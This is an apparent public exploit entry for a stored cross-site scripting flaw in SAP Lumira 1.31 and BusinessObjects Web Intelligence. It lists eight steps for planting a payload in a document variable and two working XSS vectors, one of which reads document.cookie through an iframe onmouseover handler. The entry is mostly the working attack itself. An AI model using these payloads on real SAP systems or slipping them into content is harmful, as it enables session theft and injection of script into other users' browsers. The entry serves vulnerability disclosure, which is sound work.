SAP Lumira 1.31 Cross Site Scripting

`# Exploit Title: SAP Lumira 1.31 - Stored Cross-Site Scripting  
# Date: 13.08.2020  
# Exploit Author: Ilca Lucian Florin  
# Vendor Homepage: https://www.sap.com  
# Software Link: SAP Lumira  
# Version: <= 1.31  
# Tested on: Windows 7 / Windows 10 / Internet Explorer 11 / Google Chrome 84.0.4147.105  
  
# Vulnerable System: https://system/BOE/BI  
  
# Reproduce Cross Site Scripting (XSS):  
  
1. Select Web Intelligence Button  
2. Wait for SAP Business Objects to load complete  
3. CTRL +N or click on New Document  
4. Create an empty document  
5. Select new variable  
6. Select random name for the variable  
7. Add the XSS vectors from evidence  
8. Open variable tab and click on new created variable name  
  
# Cross Site Scripting (XSS) Vectors Used:  
  
• "><h1><IFRAME SRC=#  
onmouseover="alert(document.cookie)"></IFRAME>123</h1>  
• <IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">  
`